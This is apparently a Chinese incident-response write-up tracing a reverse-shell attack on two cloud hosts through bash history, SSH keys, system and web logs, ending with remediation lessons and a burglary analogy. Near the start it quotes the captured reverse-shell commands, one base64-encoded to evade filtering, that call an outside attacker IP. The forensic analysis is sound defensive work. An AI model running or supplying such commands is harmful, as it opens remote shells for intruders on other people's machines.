从一次攻击溯源中暴露的安全问题

被攻击了！

有两台主机在主机安全上发现了高危命令执行告警，这两台主机我们代称为A机器和B机器

主机安全告警的高危命令记录

A机器在2021年2月28日18：57：31执行了bash命令（base64编码编译执行）：

/bin/sh -c bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTA4LjExMS4xOC84MCAwPiYx}|{base64,-d}|{bash,-i}

base64解密：

将此段加密内容进行base64解密后结果

B机器在2021年2月28日18：54：45执行了bash命令：

bash -i >& /dev/tcp/123.108.111.18/80 0>&1

通过上述两个特征，这是一个反弹shell命令执行，正在尝试让A机器和B机器向主机123.108.111.18发起bash连接指令

有几个问题是需要弄清楚的：

1.攻击者如何命令执行的？通过远程登录命令执行?还是通过命令执行漏洞对主机命令执行？

2.攻击者现在拿到了哪一层的权限？现在他还在不在这台主机上？

3.攻击者是通过什么漏洞弱点入侵的？

4.如何解决和修复这些问题？如何从根本上避免此类问题的出现？

开始溯源！

现在我们手上有的信息是：
1.攻击者执行的命令：bash -i >&/dev/tcp/123.108.111.18/800>&1
2.攻击者的命令执行时间：2021年2月28日18：57：31
                      2021年2月28日18：54：45
3.该主机是通过ssh密钥进行登录，不通过密码登录。

以此为线索，往下寻找

1.命令执行记录溯源：

既然我们只有命令是线索，那么我们先从命令着手寻找蛛丝马迹。

查询带有bash命令的历史：

cat ~/.bash_history|grep bash

找到了命令执行痕迹，但缺点是不显示执行用户，命令执行时间等信息

过滤服务器root用户bash命令执行历史：

cat /root/.bash_history | grep bash

我们在root用户的历史操作命令中找到了记录，因此可以证明该命令是root用户执行的

可以论证关键信息：root用户执行该命令

2.密钥审计：

为什么要进行密钥审计？因为此次案例主机通过密钥登录，为了风控和权限限制，我们在不清楚攻击者处于哪个权限层面的前提下，及时阻断其访问控制权限是当下最重要的环节。因为他有可能已经获得主机权限，写入密钥，远程登录进来了。

查询本机登录密钥：

cat /root/.ssh/authorized_keys

发现了三个不确定权限所属的登录密钥：

发现了三个不确定的公钥，沟通后及时删除，权限止损，倘若存在攻击者的密钥可随时远程登录重新获取信息和进行非法操作

3.主机层日志溯源

先搞清楚第一个问题：

1.攻击者如何命令执行的？通过远程登录命令执行?还是通过命令执行漏洞对主机命令执行？

逆向思维，从主机层分析——应用层展开分析溯源。

（1）登录日志/var/log/secure审计：

cat /var/log/secure

经审计发现，28号当日只有早11时有过一起登录记录

可以论证关键信息：攻击者并未登录过机器，是通过远程命令执行漏洞执行

这里可能会有人提出疑问，会不会有可能删除了登录痕迹？

是的，有这个可能，但是可能性很小。因为我们在命令记录中看到了是base64编码执行，如果是登录到主机上执行该反弹shell命令，站在黑客的角度，是完全没有必要进行再编码执行的。对bash反弹shell命令进行base64编码转义是远程命令执行漏洞触发绕过防护软件过滤的一种常见手段，因此可以判断攻击者并未远程登录服务器。

（2）自启动日志/var/log/cron审计

为了保证权限清理和审计万无一失，对自启动日志的审计也是关键一环，倘若命令执行是一个进程在服务器上，那么找到这个进程和脚本就是关键：

cat /var/log/cron

在自启动日志中，关键命令执行时间并无痕迹，上图只是主机安全进程的自启动日志存在记录

（3）系统日志/var/log/messagess审计

cat /var/log/messagess

在关键命令执行时间节点，未发现退出记录

结合secure，cron，messages日志综合分析，黑客未攻入主机层。

4.应用层日志溯源

服务器上部署了tomcat服务和nginx服务，那么我们可以针对nginx和tomcat的访问日志access.log和报错日志error.log开展分析溯源。

nginx日志溯源

cat /XXX/logs/nginx/access.logs

nginx的access.log日志为空，未配置开启，导致无结果可查

tomcat access.log日志溯源：

grep "28/Feb/2021:18:57" /XXX/XXX/XXX/logs/localhost_access_log.2021-02-28.txt

未发现tomcat访问日志痕迹中，存在命令执行记录

5.主机安全巡检审计

漏洞信息

使用主机安全扫描出的系统漏洞

由主机安全扫描的结果判断，大概率是由于Jackson类RCE漏洞执行成功的结果

分析结果汇总

1.攻击者执行的命令：bash -i >&/dev/tcp/123.108.111.18/800>&1
2.攻击者的命令执行时间：2021年2月28日18：57：31
                      2021年2月28日18：54：45
3.发现三个不确定性密钥，删除减小风险面。
4.攻击者未攻入主机层，只是使用了远程类命令执行漏洞触发bash反弹shell，并且是以root权限
5.应用层nginx无日志记录，无法判定具体入侵漏洞种类，但结合主机安全扫描结果，大概率是由Jackson类RCE漏洞触发bash反弹shell远程命令执行

暴露问题

1.安全漏洞未及时修复，使用组件未及时更新
2.应用层日志nginx访问日志未配置，不具备应用层日志溯源能力
3.登录密钥配置不合理，密钥文件不应运行远程scp配置修改访问，经过测试是可以通过远程scp导入公钥登录服务器的。

总结

安全是一个动态的过程，云上主机安全核心问题是：配置优化和组件迭代问题。

怎么理解呢？打个比方：

我们的服务器被入侵，好比小区里某个家庭被盗

云服务厂商，好比小区物业，为用户提供房屋等基础设施，家居用品等配套组件，亦或者是家政人工服务等等。

云主机，好比用户居住的房子。

为了满足大部分用户的通用基础需求，在小区建设初期，会给用户配置统一的防盗门，统一的窗户，统一的服务配置。统一的标准化配置在配置方面，更新迭代以及整体安全性方面是便捷高效的。

但每个用户的居住需求是有区别的，有的人的房子是租来转租用的。有的人的房子里会摆放贵重物品，会把防盗门换了，窗户换了，甚至会在自己家中请保姆，不需要物业提供的服务。

门换了，小区对业主的自身的安全风险就不完全可控。

那么安全问题怎么来的呢？

小区物业关注在小区的围墙是不是够高，保安的人力配置布局是否覆盖全面，比如在DDOS攻击，APT攻击，渗透测试等方面的防御能力和检测能力。

没有对服务器组件的合理安全配置和漏洞加固，就好比门没反锁被贼打开

小区同时对各个用户家庭的门锁窗户情况也会保持监测和告警用户。但随着时间的推移，不可避免出现门锁逐渐老化，窗户年久失修，逐渐暴露出安全漏洞。而小偷是怎么进来的呢？可能是因为门没关，门锁旧了被撬开，门没反锁被打开，窗户没关，窗户掉了，从下水道过来，挖地洞进家等等原因......

但结果是，家里被偷了！

作为居住的业主，我们无法避免小偷不混进小区里。

但我们可以做的是，关好门，锁好窗，物业告诉我门坏了修门，窗坏了修窗。

这样我家要是再进贼

我就带上物业去找12315